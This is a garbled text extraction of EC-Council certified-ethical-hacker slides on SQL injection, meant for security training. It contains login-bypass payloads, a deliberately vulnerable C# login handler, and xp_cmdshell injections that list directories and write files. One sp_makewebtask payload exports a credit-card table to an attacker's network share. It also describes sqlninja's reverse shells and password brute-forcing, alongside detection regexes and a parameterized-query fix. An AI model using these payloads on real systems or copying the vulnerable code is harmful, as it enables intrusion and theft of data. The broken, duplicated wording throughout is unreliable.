CEHv6.1 Module 19 SQL Injection
CEHv6.1 Module 19 SQL Injection
CEHv6.1 Module 19 SQL Injection
Countermeasures
Version 6.1
Mod le XIX
Module
SQL Injection
Scenario
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
News
EC-Council
Module Objective
This module will familiarize you with:
SQL Injection
Steps for performing SQL Injection
SQL Injection Techniques
SQL Injection in Oracle
SQL Injection in MySql
Attacking
k
SQL servers
Automated Tools for SQL Injection
Countermeasures
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Module Flow
SQL Injection
Countermeasures
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Att k
Attackers
can execute
t arbitrary
bit
SQL commands
d through
th
h the
th web
b application
li ti
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Example:
http:// www.xsecurity.com /index.asp?id=10
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
OLE DB Errors
The user-filled fields are enclosed by a single quotation mark ('). To test, try
using
i (') as the
h user name
The following error message will be displayed when a (') is entered into a form
that is vulnerable
ulnerable to an SQL injection attack
If you get this error, then the website is vulnerable to an SQL injection attack
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Bypassing log on
forms
Used to add
information to the
database
SQL Injection
techniques:
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Depending
di on the
h query, try the
h ffollowing
ll i
possibilities:
or 1=1- or 1=1- or a=a
or a=a
) or (
(a=a)
)
)
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
But when the attacker enters ' Or 1=1 --, the query now
becomes:
SELECT Count(*) FROM Users WHERE UserName='' Or 1=1 --' AND Password=''
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
BadLogin.aspx.cs
string
t i
strCnx
t C
=
"server=localhost;database=northwind;uid=sa;pwd=;";
SqlConnection cnx = new SqlConnection(strCnx);
cnx.Open();
//This code is susceptible to SQL injection attacks.
string strQry = "SELECT Count(*) FROM Users WHERE UserName='" +
txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
int intRecs;
SqlCommand cmd = new SqlCommand(strQry, cnx);
intRecs = (int) cmd.ExecuteScalar();
if (intRecs>0) {
FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false);
}
else {
lblMsg.Text = "Login attempt failed.";
}
cnx Close();
cnx.Close();
}
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
BadProductList.aspx.cs
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Ping a server
blah;exec
bl h
master..xp_cmdshell
t
d h ll ping
i
10
10.10.1.2
10 1 2 --
Directory listing
blah
blah;exec
;exec master..xp_cmdshell
master xp cmdshell dir
dir c:\*
c:\ .* /s >
c:\directory.txt --
Create a file
blah;exec master..xp_cmdshell echo juggyboy-was-here
> c:\juggyboy.txt EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Example
blah;EXEC master..sp_makewebtask
\\
\\10.10.1.4\share\creditcard.html,
\ h \ dit d ht l
SELECT * FROM CREDITCARD
The above command exports a table called credit card, to the
attackers network share
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
To INSERT a record:
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Itt iss d
difficult
cu t to ttrace
ace tthee output
You can see an error because the value retrieved is passed on to multiple
queries with different numbers of columns before the script ends
In such situations, SELECT and UNION commands cannot be used
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
The packet contains the details necessary to connect to the desired instance,
including the TCP port
The SSRS has buffer overflow vulnerabilities that allow remote attackers to
overwrite portions of the systems memory and execute arbitrary codes
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Osql L- Probing
Osql.exe includes a discovery switch (-L) that will poll the network looking
for other installations of SQL Server
It returns a list of server names and instances, but without details about TCP
ports or netlibs
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Source: http://ntsecurity.nu/cgi-bin/download/sqldict.exe.pl
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Source: http://phoenix.liu.edu/
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
sqlmap
sqlmap is an automatic SQL injection tool developed in Python
It performs an extensive database management system back-end
fingerprint
Features:
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
sqlmap: Screenshot 1
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
sqlmap: Screenshot 2
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
sqlmap: Screenshot 3
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
sqlninja
Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a
web
b application
l
It p
performs the following:
g
Fingerprints the remote SQL Server (version, user performing the
queries, user privileges, xp_cmdshell availability, and DB Server
authentication mode)
Bruteforces the 'sa' password
Privilege escalation to 'sa'
Creates a custom xp_cmdshell if the original one has been disabled
Uploads executables
Reverses scan in order to look for a port that can be used for a reverse
shell
Directs and reverses shell, both TCP and UDP
DNS tunneled pseudoshell,
pseudoshell when no ports are available for a bindshell
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Sqlninja: Screenshot 1
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Sqlninja: Screenshot 2
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Sqlninja: Screenshot 3
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Sqlninja: Screenshot 4
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Sqlninja: Screenshot 5
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Sqlninja: Screenshot 6
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
SQLIer
SQLIer takes a vulnerable URL and attempts
to determine all necessaryy information to
exploit SQL Injection vulnerability by itself,
requiring no users interaction
It can build
b ld a UNION SELECT query
designed to brute force passwords out of
database
To operate, this script does not use quotes
in the exploit
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
SQLIer: Screenshot
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
F
Features:
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Absinthe
Absinthe is a GUI-based tool that automates the process of downloading
the
h schema
h
and
d contents off a d
database
b
that
h iis vulnerable
l
bl to Bli
Blind
d SQL
Injection
Features:
EC-Council
Has automated
H
t
t d SQL iinjection
j ti
Supports MS SQL Server, MSDE, Oracle, and Postgres
Has cookies / Additional HTTP Headers
Comprises
p
of q
queryy termination
Additional text appended to queries
Supports use of proxies / proxy rotation
Has multiple filters for page profiling
Has custom delimiters
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Absinthe: Screenshot
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
browser
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
\w* -zero or more alphanumeric or underscore characters
(\%27)|\' -the ubiquitous single-quote or its hex equivalent
the word or
or with various combinations of
(\%6F)|o|(\%4F))((\%72)|r|(\%52) -the
its upper and lower case hex equivalents
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
/((\%27)|(\'))union/ix
(\%27)|(\')) - the single quote and its hex equivalent
(\%27)|(\
union - the keyword union
The above expression can be used for SELECT, INSERT, UPDATE, DELETE,
and DROP keywords
//exec(\s|\+)+(s|x)p\w+/ix
(\ |\ ) ( | ) \
/i
exec -the keyword required to run the stored or extended procedure
(\s|\+)+ -one or more white spaces, or their HTTP encoded equivalents
(s|x)p -the letters sp or xp to identify stored or extended procedures,
respectively
i l
\w+ -one or more alphanumeric or underscore characters to complete the name of
the procedure
Copyright by EC-Council
All
Rights
Reserved.
Reproduction
is Strictly Prohibited
EC-Council
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
GoodLogin.aspx.cs
private void cmdLogin_Click(object sender, System.EventArgs e) {
string strCnx = ConfigurationSettings.AppSettings["cnxNWindBad"];
using (SqlConnection cnx = new SqlConnection(strCnx))
{
SqlParameter prm;
cnx.Open();
string strQry =
"SELECT Count(*) FROM Users WHERE UserName=@username " +
@p
;
"AND Password=@password";
int intRecs;
SqlCommand cmd = new SqlCommand(strQry, cnx);
cmd.CommandType= CommandType.Text;
prm = new SqlParameter("@username",SqlDbType.VarChar,50);
prm.Direction=ParameterDirection.Input;
prm.Value = txtUser.Text;
cmd.Parameters.Add(prm);
prm = new SqlParameter("@password",SqlDbType.VarChar,50);
prm.Direction=ParameterDirection.Input;
prm.Value = txtPassword.Text;
cmd.Parameters.Add(prm);
intRecs = (int) cmd.ExecuteScalar();
if (intRecs>0) {
FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false);
}
else {
lblMsg.Text = "Login attempt failed.";
}
}
}
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
SQLBlock: Screenshot
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Source: http://www.acunetix.com
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
Summary
SQL injection is an attack methodology that targets the data residing in
a database
d b
It attempts to modify the parameters of a web-based application in
order to alter the SQL statements that are parsed, in order to retrieve
data from the database
Database footprinting is the process of mapping the tables on the
database and is a crucial tool in the hands of an attacker
database,
Exploits occur due to coding errors as well as inadequate validation
checks
Prevention involves enforcing better coding practices and database
administration procedures
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited
EC-Council
Copyright by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited